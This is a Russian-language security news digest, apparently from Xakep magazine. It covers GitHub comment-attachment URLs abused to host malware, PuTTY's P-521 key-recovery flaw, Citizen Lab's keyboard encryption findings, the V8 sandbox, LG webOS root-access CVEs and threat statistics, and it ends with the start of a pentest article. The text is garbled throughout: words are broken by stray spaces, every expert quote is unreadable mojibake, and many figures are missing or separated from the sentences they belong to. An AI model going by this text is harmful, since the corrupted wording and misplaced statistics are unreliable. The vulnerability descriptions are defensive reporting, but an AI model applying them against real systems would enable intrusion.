уда лен сра зу пос ле пуб ликации), фай лы не уда ляют ся из CDN GitHub, а URL-
адре са про дол жают работать.

Жур налис ты отме чают, что в URL-адре се при этом вид но наз вание
репози тория ком пании-жер твы, что поз воля ет зло умыш ленни кам соз давать
весь ма хит рые и прав доподоб ные при ман ки.

Нап ример, хакер может заг рузить исполня емый файл мал вари в репози- 
торий Nvidia, и вре донос будет мас кировать ся под новый драй вер, исправ- 
ляющий проб лемы в какой-либо популяр ной игре. Или ата кующий может заг- 
рузить файл в ком мента рии к исходно му коду Google Chromium и заявить, что
это новая тес товая сбор ка бра узе ра.

Да же если ком пания узна ет, что ее репози тории исполь зуют ся для рас- 
простра нения вре донос ного ПО, не сущес тву ет никаких нас тро ек, поз воля- 
ющих управлять фай лами, прик реплен ными к про ектам. То есть защитить
акка унт GitHub от подоб ных зло упот ребле ний мож но, толь ко отклю чив ком- 
мента рии. А сде лать это мож но лишь вре мен но, не более чем на шесть
месяцев.

Сер гей Фран кофф (Sergei Frankoff), спе циалист сер виса авто мати зиро- 
ван ного ана лиза вре донос ного ПО UNPACME, еще в прош лом месяце про вел
на Twitch , пос вящен ную этой проб леме, и заявил, что зло умыш- 
ленни ки активно ею поль зуют ся.

тран сля цию

В ходе изу чения проб лемы Bleeping Computer уда лось най ти еще один
репози торий (httprouter), который тоже исполь зовал ся для рас простра нения
мал вари. При чем это был тот же самый фаль шивый чит Cheater.Pro.1.6.0.zip,
что и в слу чае с URL-адре сами Microsoft.

Од нако Фран кофф сооб щил изда нию, что в мар те обна ружил еще одну
ана логич ную кам панию, в которой исполь зовал ся тот же LUA-заг рузчик,
SmartLoader, замас кирован ный под читер ский софт Aimmy. По сло вам
экспер та, SmartLoader обыч но уста нав лива ется вмес те с дру гими полез ными
наг рузка ми, такими как уже упо мяну тый сти лер RedLine.

Пред ста вите ли Bleeping Computer свя зались с GitHub и Microsoft
по поводу этой проб лемы, но не получи ли отве та. С GitHub уда лили мал варь,
свя зан ную с репози тори ями Microsoft. Одна ко вре доно сы, свя зан ные
с httprouter и Aimmy, по-преж нему дос тупны, а их URL-адре са работа ют.

Ху же того, выяс нилось, что ана логич ная проб лема зат рагива ет и GitLab.
В этом слу чае сге нери рован ные ссыл ки на фай лы тоже оста ются активны ми,
даже если ком мента рий не был опуб ликован или был сра зу уда лен.

ПАВЕЛ ДУРОВ О РОСТЕ TELEGRAM
В апре ле 2024 года Павел Дуров дал пер вое за мно го лет  аме рикан ско му жур- 
налис ту Такеру Кар лсо ну. В этой беседе Дуров говорил о мно гом, вклю чая VK, отъ езд из Рос- 
сии, слиш ком прис таль ное вни мание со сто роны запад ных спец служб, бюрок ратию в раз ных
стра нах, зна комс тво с Мар ком Цукер бергом, идею соз дания Telegram.

ви деоин тервью

Так же Дуров заявил, что Telegram никог да не тра тил ся на мар кетинг и сов сем ско ро дос- 
тигнет отметки в мил лиард активных поль зовате лей.

→ «Telegram рас простра няет ся как лес ной пожар: 2,5 мил лиона поль зовате лей
ежед невных регис тра ций. Мы пред став ляем сво его рода угро зу. <…> Наши
кон курен ты тра тят десят ки мил лиар дов на мар кетинг и извес тны тем, что поль- 
зуют ся услу гами PR-фирм для про веде ния подоб ных кам паний.

(Мы пот ратили на мар кетинг) ноль дол ларов. Мы никог да ничего не тра тили
на прив лечение поль зовате лей в мар кетин говых целях. Мы никог да не прод- 
вигали Telegram на дру гих соци аль ных плат формах. В этом боль шое отли чие
от про чих при ложе ний. Вы мог ли наб людать, как они рек ламиру ются здесь
и там. Telegram дей ству ет ина че. Весь наш рост про исхо дит орга нич но. Мы
прив лекли поч ти 900 мил лионов поль зовате лей, ничего не тра тя на рек ламу. <…
> Веро ятно, через год их количес тво пре высит мил лиард.

Лю дям нра вит ся наш про дукт. Мы доволь но дав но поняли, что люди умны.
Людям нра вит ся исполь зовать хорошие вещи, и они не любят исполь зовать
некачес твен ные. Поэто му вся кий раз, ког да человек начина ет поль зовать ся
Telegram, про водит там некото рое вре мя и начина ет откры вать для себя все
фун кции, ско рость, безопас ность, кон фиден циаль ность (все, что у нас есть), он
не хочет воз вра щать ся и начина ет приг лашать сво их дру зей, рекомен довать:
„Вам дей стви тель но сто ит поп робовать это при ложе ние, потому что оно нам- 
ного луч ше все го осталь ного“. А еще люди понима ют, что, какими бы при ложе- 
ниями для обме на сооб щени ями они ни поль зовались сей час, те отста ют при- 
мер но на пять-шесть лет. Они копиру ют то, что мы делали шесть лет назад. И в
отно шении фун кций это не очень качес твен ная копия. Люди любят качес тво, вот
почему они миг риру ют в Telegram», — рас ска зал Дуров.

СЕРЬЕЗНАЯ
УЯЗВИМОСТЬ PUTTY
Раз работ чики PuTTY , исправ ляющее крип тогра фичес- 
кую уяз вимость , которая зат рагива ет вер сии с 0.68 по 0.80.
Сооб щает ся, что проб лему мож но исполь зовать для пол ного вос ста нов ления
при ват ных клю чей NIST P-521 (ecdsa-sha2-nistp521).

вы пус тили обновле ние
CVE-2024-31497

Уяз вимость была обна руже на спе циалис тами из Рур ско го уни вер ситета
в Бохуме и свя зана с тем, как PuTTY генери рует ECDSA nonce (вре мен ные
уни каль ные крип тогра фичес кие чис ла) для эллипти чес кой кри вой NIST P-521,
исполь зуемой для SSH-аутен тифика ции. Ошиб ка воз ника ет в силу того, что
PuTTY исполь зует детер миниро ван ный спо соб генера ции таких чисел, что бы
ком пенси ровать отсутс твие надеж ного крип тогра фичес кого генера тора слу- 
чай ных чисел в опре делен ных вер сиях Windows.

Ис сле дова тели объ ясня ют, что циф ровая под пись соз дает ся с помощью
при ват ного клю ча поль зовате ля и про веря ется с помощью соот ветс тву юще го
пуб лично го клю ча на сер вере, обес печивая иден тифика цию и безопас ность
ком муника ций.

Зло умыш ленни кам пот ребу ется изу чить поряд ка 58 под писей для вычис- 
ления при ват ного клю ча жер твы. Ата кующие могут либо получить под писи,
собирая их с SSH-сер вера, который они кон тро лиру ют или взло мали, либо
извлечь их из под писан ных ком митов Git.

При этом сбор под писей из пуб личных ком митов может ока зать ся гораз до
более эффекти вен и опа сен. Так, обыч но для под писания ком митов локаль но
исполь зует ся Pageant, SSH-агент PuTTY, а затем осу щест вля ется пересыл ка
на хост раз работ чика. Git нас тра ивает ся на исполь зование OpenSSH для под- 
писания Git-ком митов с помощью SSH-клю ча, пре дос тавлен ного Pageant. То
есть под пись генери рует ся Pageant, что дела ет ее при год ной для вос ста нов- 
ления при ват ного клю ча. А Git-под писи могут быть обще дос тупны, нап ример
если ком мит при сутс тву ет в пуб личном репози тории на GitHub.

«

»

«Âñå êëè åíò ñêèå êëþ ÷è NIST P-521, èñïîëü çóåìûå ñ PuTTY, äîë æíû

ñ÷è òàòü ñÿ ñêîì ïðî ìåòè ðîâàí íûìè, ó÷è òûâàÿ, ÷òî àòà êà ìîæåò áûòü

îñó ùåñò âëå íà äàæå ïîñ ëå òîãî, êàê îñíîâíàÿ ïðîá ëåìà áóäåò èñïðàâ- 

ëåíà â èñõîäíîì êîäå (ïðè óñëî âèè, ÷òî ïåðåä èñïðàâ ëåíè åì çëî- 

óìûø ëåííè êó áûëè äîñ òóïíû îêî ëî 60 ïîä ïèñåé), — ïðå äóï ðåäèëè

èññëå äîâà òåëè. — Çëî óìûø ëåííèê, îáëà äàþùèé íåñ êîëü êèìè äåñÿò- 

êàìè ïîä ïèñåé è ïóá ëè÷íûì êëþ ÷îì, èìå åò äîñ òàòî÷ íî èíôîðìà öèè,

÷òî áû âîñ ñòà íîâèòü ïðè âàò íûé êëþ÷, à çàòåì ïîä äåëàòü ïîä ïèñè, áóä- 

òî îíè èñõî äÿò îò âàñ. Ýòî ïîç âîëèò åìó, íàï ðèìåð, âîé òè íà ëþáûå

ñåð âåðû, äëÿ êîòîðûõ âû èñïîëü çóåòå ýòîò êëþ÷. ×òî áû ïîëó÷èòü ïîä- 

ïèñè, çëî óìûø ëåííè êó äîñ òàòî÷ íî íåíàäîë ãî ñêîì ïðî ìåòè ðîâàòü

ëþáîé ñåð âåð, äëÿ àóòåí òèôèêà öèè íà êîòîðîì âû èñïîëü çóåòå êëþ÷,

èëè íà êîðîò êîå âðå ìÿ ïîëó÷èòü äîñ òóï ê êîïèè Pageant, õðà íÿùåé

êëþ÷».

Раз работ чики устра нили уяз вимость в PuTTY 0.81, где переш ли на RFC
6979 для всех клю чей DSA и ECDSA. Под черки вает ся, что все при ват ные клю- 
чи P-521, сге нери рован ные с помощью уяз вимой вер сии PuTTY, сле дует счи- 
тать небезо пас ными и их нуж но как мож но ско рее заменить новыми.

Из вес тно, что уяз вимую вер сию PuTTY исполь зуют сле дующие про дук ты:
FileZilla 3.24.1–3.66.5 (исправ лено в вер сии 3.67.0);•
WinSCP 5.9.5–6.3.2 (исправ лено в 6.3.3);•
TortoiseGit 2.4.0.2–2.15.0 (исправ лено в 2.15.0.1);•
TortoiseSVN 1.10.0–1.14.6 (исправ ление воз можно при нас трой ке
TortoiseSVN на исполь зование Plink в пос ледней вер сии PuTTY 0.81).

•

Ве роят но, соф та, уяз вимого перед CVE-2024-31497, может ока зать ся даже
боль ше (все зависит от того, какая вер сия PuTTY исполь зует ся), поэто му
поль зовате лям рекомен дует ся про верить свои инс тру мен ты и при необ- 
ходимос ти при нять пре вен тивные меры.

БЛОКИРОВКА  VPN-СЕРВИСОВ150

На чаль ник управле ния кон тро ля и над зора в сфе ре элек трон ных ком муника ций Рос комнад зора
Евге ний Зай цев рас ска зал, что в нас тоящее вре мя Рос комнад зор бло киру ет око ло 
популяр ных VPN-сер висов. Так же были заб локиро ваны поряд ка  матери алов, которые «рас- 
простра няли про паган ду исполь зования VPN для обхо да бло киро вок».

150
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За неуда ление информа ции о популя риза ции спо собов и методов обхо да бло киро вок закон
пре дус матри вает адми нис тра тив ную ответс твен ность в виде штра фа от 
до  руб лей.
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ПРОБЛЕМЫ
ОБЛАЧНЫХ
КЛАВИАТУР
Эк спер ты Citizen Lab обна ружи ли мно гочис ленные уяз вимос ти в облачных
при ложе ниях . В ком пании пре дуп редили, что эти проб- 
лемы могут исполь зовать ся для перех вата нажатий кла виш и в общей слож- 
ности угро жают при мер но мил лиар ду поль зовате лей.

пинь инь-кла виатур

Ис сле дова тели рас ска зыва ют, что наш ли уяз вимос ти в вось ми из девяти
изу чен ных при ложе ний таких про изво дите лей, как Baidu, Honor, iFlytek, OPPO,
Samsung, Tencent, Vivo и Xiaomi. Единс твен ным про изво дите лем, в чьем при- 
ложе нии не было най дено проб лем, ока залась ком пания Huawei.

Най ден ные баги могут при менять ся для «пол ного рас кры тия нажатых
поль зовате лем кла виш при переда че». Сум марно этот класс уяз вимос тей
зат рагива ет око ло мил лиар да поль зовате лей по все му миру. Ведь 95% рын ка
кла виатур, соз данных для того, что бы поль зовате ли мог ли быс тро и лег ко
вво дить иерог лифы, занима ют уяз вимые IME (Input Method Editor) ком паний
Sogou, Baidu и iFlytek.

Ус пешная экс плу ата ция багов в таких при ложе ниях поз воля ет рас шифро- 
вывать нажатия кла виш без переда чи допол нитель ного сетево го тра фика.
Дело в том, что IME-кла виату ры час то име ют облачные фун кции, которые рас- 
ширя ют их фун кци ональ ность. Это свя зано со слож ностью прог нозиро вания
того, какие сим волы поль зователь вве дет сле дующи ми, осо бен но в логог- 
рафичес ких язы ках, таких как китай ский.

Ис сле дова ние Citizen Lab осно выва ется на резуль татах 
, в ходе которых в августе прош лого года были выяв лены серь езные

крип тогра фичес кие недос татки в при ложе нии Sogou Input Method ком пании
Tencent. Это при ложе ние нас читыва ет более 455 мил лионов активных поль- 
зовате лей в Windows, Android и iOS.

пре дыду щих изыс- 
каний

Те перь в Citizen Lab рас ска зыва ют, что популяр ные пинь инь-кла виату ры
под верже ны сле дующим багам:

 уяз вимо перед ата кой CBC padding oracle, которая

может при вес ти к вос ста нов лению наб ранно го тек ста;

• Tencent QQ Pinyin

 поз воля ет треть им лицам рас шифро вывать сетевые ком- 

муника ции и извле кать наб ранный в Windows текст бла года ря ошиб ке
в про токо ле шиф рования BAIDUv3.1;

• Baidu IME

 для Android поз воля ет треть им лицам вос ста нав ливать текст

за счет недос таточ но зашиф рован ных сетевых ком муника ций;

• iFlytek IME

 на Android переда ет дан ные о нажатии кла виш
по обыч ному, незашиф рован ному про токо лу HTTP;

• Samsung Keyboard

на устрой ствах  пре дус танов лены кла виату ры Baidu, iFlytek

и Sogou, и поэто му они под верже ны уже перечис ленным выше проб- 
лемам;

• Xiaomi

на устрой ства  пре дус танов лены кла виатур ные при ложе ния Baidu

и Sogou, и они тоже обла дают теми же недос татка ми;

• OPPO

 пос тавля ется с пре дус танов ленным и уяз вимым Sogou IME;• Vivo

а на устрой ства  пред варитель но уста нав лива ется уяз вимый Baidu

IME.

• Honor

В Citizen Lab пред полага ют, что китай ские раз работ чики при ложе ний менее
склон ны к исполь зованию запад ных крип тогра фичес ких стан дартов из-за
опа сений, что те могут содер жать бэк доры. Это побуж дает их раз рабаты вать
собс твен ные шиф ры и допус кать ошиб ки.

Пос ле того как иссле дова тели уве доми ли раз работ чиков кла виатур о най- 
ден ных проб лемах, боль шинс тво из них устра нили баги. Толь ко спе циалис ты
Honor и Tencent еще работа ют над пат чами.

«

»

«Ó÷è òûâàÿ ìàñ øòàá ýòèõ óÿç âèìîñ òåé, äåëèêàò íîñòü òîãî, ÷òî ïîëü- 
çîâàòå ëè îáû÷ íî íàáèðà þò íà ñâî èõ óñòðîé ñòâàõ, à òàê æå ëåã êîñòü,
ñ êîòîðîé ýòè óÿç âèìîñ òè ìîã ëè áûòü îáíà ðóæå íû, è òîò ôàêò, ÷òî
àëü ÿíñ Five Eyes ðàíåå èñïîëü çîâàë àíà ëîãè÷ íûå óÿç âèìîñ òè
äëÿ ñëåæ êè â êèòàé ñêèõ ïðè ëîæå íèÿõ, âïîë íå âåðî ÿòíî, ÷òî íàæàòèÿ
êëà âèø ïîëü çîâàòå ëåé ìîã ëè ïîä âåðãàòü ñÿ ìàñ ñîâîìó ìîíèòî ðèí- 
ãó», — çàê ëþ÷à þò ñïå öèàëèñ òû.

 ХАКЕРОВ РУКОВОДСТВУЮТСЯ ФИНАНСОВОЙ
МОТИВАЦИЕЙ
76%

Эк спер ты ком пании BI.ZONE пред ста вили иссле дова ние рос сий ско го лан дшаф та киберуг роз
и хак груп пировок — Threat Zone 2024. Отчет осно ван на ана лизе дан ных, соб ранных экспер тами
из под разде лений реаги рова ния на инци ден ты, монито рин га и кибер развед ки.

В 2023 году ком пания отсле жива ла более  груп пировок, ата ковав ших рос сий ские ком пании.50

 атак приш лось на сфе ру ритей ла, по  — на про мыш ленные и топ ливно-энер гетичес кие
ком пании, а так же финан совые и стра ховые орга низа ции. Еще  было нацеле но на тран- 
спортную отрасль.

15% 12%
10%

 атак ока зались обус ловле ны финан совой мотива цией. Прес тупни ки рас простра няли
вымога тели, тре бова ли выкуп за ском про мети рован ную кон фиден циаль ную информа цию,
а так же находи ли спо собы получить пря мой дос туп к финан совым акти вам жертв.

76%

 атак были свя заны со шпи она жем. Спе циалис ты выяви ли  ранее неиз вес тных груп- 
пировок. Кро ме того, шпи она жем занялись нес коль ко групп, у которых рань ше была финан- 
совая мотива ция.

15% 5

На долю хак тивиз ма приш лось толь ко  атак. Количес тво атак, совер шаемых по иде оло- 
гичес ким мотивам, пос тепен но умень шает ся: все боль ше хак тивис тов перехо дят к финан сово
мотиви рован ным прес тупле ниям либо сов меща ют оба вида атак.

9%

На ибо лее популяр ной мал варью в 2023 году ста ло шпи онское ПО , которое
задей ство вали в  атак. Так же сре ди зло умыш ленни ков рез ко вырос ла популяр ность
легитим ных инс тру мен тов  и .

Agent Tesla
22%

Adminer Gsocket

ПЕСОЧНИЦА ДЛЯ V8
Стре мясь повысить устой чивость Chrome перед проб лемами памяти, Google
добав ляет в свой бра узер песоч ницу V8, и ИБ-иссле дова тели смо гут искать
в ней уяз вимос ти.

В пос ледние годы Chrome не раз стра дал от проб лем с безопас ностью
памяти, боль шинс тво из которых ока зыва лись свя заны с JavaScript-движ ком
V8. При чем в слу чае V8 обыч ные средс тва защиты (исполь зование аппа рат- 
ных механиз мов безопас ности или переход на более безопас ный для памяти
язык, нап ример Rust), к сожале нию, не помога ют.

«
»

«Ïðàê òè÷åñ êè âñå óÿç âèìîñ òè, íàé äåí íûå è ýêñ ïëó àòè ðóåìûå
â V8 íà ñåãîä íÿ, èìå þò îäíó îáùóþ ÷åð òó: ïîâ ðåæäå íèå ïàìÿòè îáÿ- 
çàòåëü íî ïðî èñõî äèò âíóò ðè õèïà V8, ïîñ êîëü êó êîì ïèëÿòîð è runtime
ïî÷ òè âñåã äà îïå ðèðó þò èñêëþ ÷èòåëü íî ýêçåì ïëÿ ðàìè V8
HeapObject», — ðàñ ñêà çûâà þò â Google.

Но вая песоч ница для V8 изо лиру ет память хипа, что бы пре дот вра тить пов- 
режде ние дру гих час тей памяти про цес са. Пос коль ку под ходяще го аппа рат- 
ного обес печения для этих целей не сущес тву ет, Google решила реали зовать
песоч ницу прог рам мно.

«

»

«Îñíîâíàÿ èäåÿ ïðîã ðàì ìíîé ïåñî÷ íèöû çàê ëþ÷à åòñÿ â çàìåíå âñåõ
òèïîâ äàí íûõ, êîòîðûå ìîãóò îáðà ùàòü ñÿ ê ïàìÿòè âíå ïåñî÷ íèöû,
ñîâ ìåñòè ìûìè ñ ïåñî÷ íèöåé àëü òåð íàòèâà ìè. Â ÷àñ òíîñ òè, âñå óêà- 
çàòå ëè (íà îáú åêòû êàê â õèïå V8, òàê è â äðó ãèõ ìåñ òàõ) è 64-áèò íûå
ðàç ìåðû äîë æíû áûòü óäà ëåíû, ïîñ êîëü êó çëî óìûø ëåííèê ìîæåò ïîâ- 
ðåäèòü èõ, ÷òî áû âïîñ ëåäñ òâèè ïîëó÷èòü äîñ òóï ê äðó ãîé ïàìÿòè», —
ãîâîðÿò ðàç ðàáîò ÷èêè.

По сло вам экспер тов, в реаль ных сце нари ях атак зло умыш ленни ки не смо гут
вый ти из песоч ницы и доб рать ся до дру гих час тей памяти про цес са, пос коль- 
ку сна чала им пот ребу ется обой ти песоч ницу V8, что замет но усложнит
задачу.

Из началь но пред ложен ная еще в 2021 году, песоч ница для V8 теперь счи- 
тает ся жиз неспо соб ной защит ной фун кци ей, и Google уже внед рила ее
в Chrome 123 в целях тес тирова ния. Так же ком пания добави ла песоч ницу
в bug bounty прог рамму Chrome Vulnerability Rewards Program, что бы раз- 
работ чики сис тем безопас ности и иссле дова тели мог ли выявить в ней недос- 
татки и уяз вимос ти.

По сло вам Google, все обна ружен ные на сегод няшний день проб лемы —
это три виаль ные ошиб ки пов режде ния памяти, которые нет рудно пре дот вра- 
тить или смяг чить, в отли чие от более серь езных багов, обыч но обна ружи- 
ваемых в V8.

Так же отме чает ся, что на песоч ницу V8 при ходит ся лишь 1% (или мень ше)
пот ребле ния ресур сов при типич ных рабочих наг рузках, а зна чит, она может
быть вклю чена по умол чанию на сов мести мых плат формах. В течение пос- 
ледних недель песоч ница V8 была активна по умол чанию в 64-бит ных вер сиях
Chrome для Android, ChromeOS, Linux, macOS и Windows, в основном для про- 
вер ки ста биль нос ти и сбо ра ста тис тики по про изво дитель нос ти.

ОБЪЕМ УТЕЧЕК ВЫРОС В  РАЗ5

По информа ции сер виса раз ведки уте чек дан ных и монито рин га дар кне та DLBI (Data Leakage &
Breach Intelligence), в пер вом квар тале 2024 года количес тво уте чек нез начитель но умень- 
шилось (  про тив ), одна ко объ ем их вырос в .57 60 5 раз

В сеть попали  телефон ных номеров и  email-адре сов про тив
 номеров телефо нов и  email-адре сов в пер вом квар- 

тале 2023 года.

121  мил лион 38  мил лионов
11  мил лионов 23  мил лионов

Так же изме нились лидеры по объ ему уте чек кли ент ских дан ных. Если в прош лом году поч ти
 потерь приш лось на медицин ские орга низа ции и апте ки, то в этом году более  дан- 

ных утек ло из финан совых орга низа ций.
50% 70%

ROOT ТЕЛЕВИЗОРОВ
LG
Уяз вимос ти в умных телеви зорах LG, работа ющих под управле нием webOS,
поз воля ют зло умыш ленни кам обой ти авто риза цию и получить root-дос туп
к устрой ству, пре дуп редили спе циалис ты Bitdefender. По дан ным Shodan,
в сети мож но обна ружить 91 тысячу телеви зоров, уяз вимых для таких атак.

Сра зу четыре проб лемы, которые зат рагива ют webOS вер сий с 4 по 7,
обна ружил эксперт ком пании Bitdefender Labs Алек сан дру Лазар (Alexandru
Lazăr). При этом в опуб ликован ном ком пани ей отче те под черки вает ся, что
уяз вимый сер вис пред назна чен для работы исклю читель но в локаль ной сети,
одна ко в интерне те, как было отме чено выше, дос тупны более 91 тысячи
устрой ств.

Проб лемы поз воля ют получить несан кци они рован ный дос туп к зат ронутым
моделям телеви зоров и кон троль над ними, вклю чая обход авто риза ции,
повыше ние при виле гий и внед рение команд.

По тен циаль ные ата ки осно ваны на воз можнос ти соз дания про изволь ных
учет ных записей с помощью сер виса, работа юще го на пор тах 3000/3001.
В обыч ных обсто ятель ствах он поз воля ет под клю чить смар тфон к телеви зору
при помощи вво да PIN-кода. Одна ко из-за уяз вимос ти этап с PIN-кодом мож- 
но про пус тить.

 (7,2 бал ла по шка ле CVSS) — поз воля ет обой ти

механизм авто риза ции телеви зора путем модифи кации нас трой ки
перемен ных и добавить нового поль зовате ля без авто риза ции;

• CVE-2023-6317

 (9,1 бал ла по шка ле CVSS) — уяз вимость повыше ния

при виле гий, поз воля ющая получить root-пра ва пос ле получе ния пер- 
воначаль ного дос тупа к устрой ству через CVE-2023-6317;

• CVE-2023-6318

 (9,1 бал ла по шка ле CVSS) — проб лема инъ екции

команд, свя зан ная с биб лиоте кой, отве чающей за отоб ражение тек стов
песен, которая поз воля ет выпол нять про изволь ные коман ды;

• CVE-2023-6319

 (9,1 бал ла по шка ле CVSS) — аутен тифици рован ная

инъ екция команд через исполь зование конеч ной точ ки API
com.webos.service.connectionmanager/tv/setVlanStaticAddress, поз воля ет
выпол нять коман ды от име ни поль зовате ля dbus, который име ет пра ва,
схо жие с root.

• CVE-2023-6320

Пе речис ленные проб лемы зат рагива ют webOS 4.9.7–5.30.40 на телеви зорах
LG 43UM7000PLA, webOS 04.50.51–5.5.0 на телеви зорах OLED55CXPUA,
webOS 0.36.50–6.3.3-442 на телеви зорах OLED48C1PUB, а так же webOS
03.33.85–7.3.1-43 на телеви зорах OLED55A23LA.

Bitdefender уве доми ла LG о най ден ных уяз вимос тях еще 1 нояб- 
ря 2023 года, но про изво дитель выпус тил соот ветс тву ющие обновле ния
безопас ности толь ко 22 мар та 2024 года.

Хо тя телеви зоры LG пре дуп режда ют поль зовате лей о выходе важ ных
обновле ний для webOS, иссле дова тели рекомен дуют про верить наличие этих
обновле ний вруч ную и как мож но ско рее.

Де ло в том, что, ском про мети ровав телеви зор, зло умыш ленни ки, к при- 
меру, могут доб рать ся до дру гих, более важ ных устрой ств, под клю чен ных
к той же сети, или получить дос туп к учет ным записям жер твы в уста нов ленных
на устрой стве при ложе ниях (нап ример, стри мин говых сер висов).

ВЫМОГАТЕЛИ ЗАРАБОТАЛИ ÌÈËËÈÀÐÄ

Ана лити ки Positive Technologies сооб щили, что 2023 год озна мено вал ся рекор дны ми выкупа ми
опе рато рам вымога тель ско го ПО, а так же замет ным уве личе нием мас шта бов и слож ности атак
шиф роваль щиков. Так, вып латы вымога телям в прош лом году сос тавили более 

, что явля ется самым высоким показа телем за всю исто рию.
1 мил лиар да

дол ларов

Боль ше все го от атак вымога телей пос тра дали  (  всех инци- 
ден тов приш лось на медицин скую отрасль). Ата ки вымога телей при води ли к зак рытию некото- 
рых учрежде ний, перенап равле нию карет ско рой помощи в дру гие боль ницы и задер жкам
в пре дос тавле нии медицин ских услуг.

ме дицин ские орга низа ции 18%

Так же в чет верку наибо лее ата куемых шиф роваль щиками отраслей вош ли орга низа ции из сфе- 
ры  ( ),  ( ) и 

 ( ).
на уки и  обра зова ния 14% го сударс твен ные учрежде ния 12% про мыш- 

ленные орга низа ции 12%

Боль шинс тво шиф роваль щиков рас простра нялось с помощью  ( )
и  компь юте ров и сер веров ( ).

элек трон ной поч ты 62%
пу тем ком про мета ции 35%

Пос ледс твия атак с исполь зовани ем шиф роваль щиков

YOUTUBE VS
БЛОКИРОВЩИКИ
Ком пания Google, сто ящая за раз работ кой YouTube, объ яви ла, что сто рон ние
при ложе ния, бло киру ющие рек ламу при прос мотре видео на YouTube,
наруша ют усло вия пре дос тавле ния услуг (Terms of Service). Google пре дуп- 
режда ет, что ско ро нач нет при нимать меры про тив таких при ложе ний.

Как извес тно, Google пре дос тавля ет , поз воля ющих раз- 
работ чикам интегри ровать YouTube в свои при ложе ния, про игры вать видео
или получать дан ные о видео, раз мещен ных на плат форме. Некото рые раз- 
работ чики поль зуют ся этим, что бы соз давать при ложе ния для Android и iOS,
поз воля ющие смот реть YouTube без рек ламы. И мно гие из этих при ложе ний
нас читыва ют мил лионы поль зовате лей.

мно жес тво API

Те перь в Google сооб щили, что все при ложе ния, исполь зующие API
YouTube и бло киру ющие рек ламу, вско ре могут быть отклю чены от API
для раз работ чиков.

В ком пании пре дуп редили, что поль зовате ли таких при ложе ний теперь
могут стал кивать ся с дли тель ной буфери заци ей кон тента или ошиб кой «Кон- 
тент недос тупен в этом при ложе нии» при попыт ке заг рузки видео. Раз работ- 
чики под чер кну ли, что эти меры приз ваны защитить соз дателей кон тента,
пос коль ку отклю чение рек ламы нап рямую вли яет на их доходы.

«
»

«Ìû õîòèì ïîä ÷åð êíóòü, ÷òî íàøè Terms of Service íå ïîç âîëÿ þò ñòî- 
ðîí íèì ïðè ëîæå íèÿì îòêëþ ÷àòü ðåê ëàìó, ïîñ êîëü êó ýòî ìåøà åò ñîç- 
äàòåëÿì ïîëó÷àòü âîç íàãðàæ äåíèå çà ïðîñ ìîòðû, à ðåê ëàìà
íà YouTube ïîìîãà åò ïîä äåðæè âàòü ñîç äàòåëåé è ïîç âîëÿ åò ìèë ëèàð- 
äàì ëþäåé ïî âñå ìó ìèðó ïîëü çîâàòü ñÿ ïîòîêî âûì ñåð âèñîì», — ãëà- 
ñèò îôè öèàëü íîå çàÿâ ëåíèå YouTube.

Тем, кто хочет нас лаждать ся YouTube без рек ламы, ком пания пред лага ет под- 
писку Premium, сто имость которой варь иру ется от 13,99 до 18,99 дол лара
США в зависи мос ти от плат формы поль зовате ля.

На пом ним, что в прош лом году Google начала активно  
 бло киров щиков рек ламы на YouTube. Нап ример, ком пания добави ла

пятисе кун дную задер жку при пер воначаль ной заг рузке сай та для поль зовате- 
лей с рас ширени ями-бло киров щиками, а так же в качес тве экспе римен та
огра ничи ла таких поль зовате лей все го тре мя прос мотра ми видео.

пре пятс тво вать ра- 
боте

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
На фаль шивых собесе дова ниях раз работ чиков вынуж дают уста новить бэк дор

«Лабора тория Кас пер ско го» обна ружи ла крип товалют ную пирами ду в Telegram

Те леви зор Hisense слу чай но вывел из строя Windows-компь ютер вла дель ца

Мал варь ата кует тех, кто ищет дет ское пор но

MITRE взло мали «пра витель ствен ные хакеры»

Discord банит ботов сер виса Spy Pet, тор гующе го дан ными

GPT-4 может экс плу ати ровать уяз вимос ти, изу чив бюл летени безопас ности

Бэк дор-акка унт при сутс тву ет в 90 000 NAS D-Link

В про токо ле HTTP/2 наш ли ряд проб лем под общим наз вани ем Continuation Flood

Раз работ чики Notepad++ поп росили помощи в борь бе с сай том-под ражате лем

https://ru.wikipedia.org/wiki/%D0%9F%D0%B8%D0%BD%D1%8C%D0%B8%D0%BD%D1%8C
https://citizenlab.ca/2023/08/vulnerabilities-in-sogou-keyboard-encryption/
https://developers.google.com/youtube
https://xakep.ru/2023/05/11/youtube-adblockers/
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При тес тирова нии на про ник новение в рас- 
поряже нии ата кующе го далеко не всег да
ока зыва ется сис тема с при виле гиями
адми нис тра тора или root-пра вами, зато
на ней могут обна ружить ся анти виру сы
и бран дма уэры. Казалось бы, на этом пен- 
тесту капут, ведь раз вить ата ку прак тичес ки
невоз можно. Но тут на помощь взлом щику
при дет магия эму ляции и вир туали зации.
Эти две тех нологии и вправ ду тво рят
чудеса!

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Се год ня ска чать экс пло ит, ввес ти IP-адрес и про бить периметр может любой
школь ник. Бла года ря мно гочис ленным ска нерам безопас ности и раз нооб- 
разным информа цион ным ресур сам порог вхо да в область поис ка и экс плу- 
ата ции уяз вимос тей стал куда ниже, чем рань ше.

Но очень час то получен ный дос туп — это лишь начало длин ного пути. Ког- 
да в резуль тате поис ков наконец-то обна руже на уяз вимость и про бит внеш- 
ний периметр, впе реди нас ждет самое веселое — прод вижение по внут- 
ренней инфраструк туре. Ведь нас тоящий взлом — про цесс мно гос тупен- 
чатый.

Во обще, эко сис тема внут ренних сетей может разитель но отли чать ся
от того, что вид но на внеш нем перимет ре, даже у одной и той же ком пании.
Мне доводи лось наб людать кар диналь но про тиво полож ные кар тины: иде аль- 
но при чесан ные и обновлен ные ресур сы, смот рящие в интернет, и пол ный
бар дак во внут ренней сети.

На самом деле внут ренние сети, бла года ря их зак рытос ти от внеш него
мира, недос тижимы для раз нооб разных вирусов, ска неров и хакеров, поэто- 
му под чиня ются иным законам и вре мя там течет гораз до мед леннее. Если
на внеш них ресур сах мы едва ли най дем силь но уста рев ший софт, то
во «внут рянке» впол не мож но обна ружить мно жес тво десяти лет них уяз вимос- 
тей. Ведь глав ный защит ный механизм внут ренних ресур сов — это их изо- 
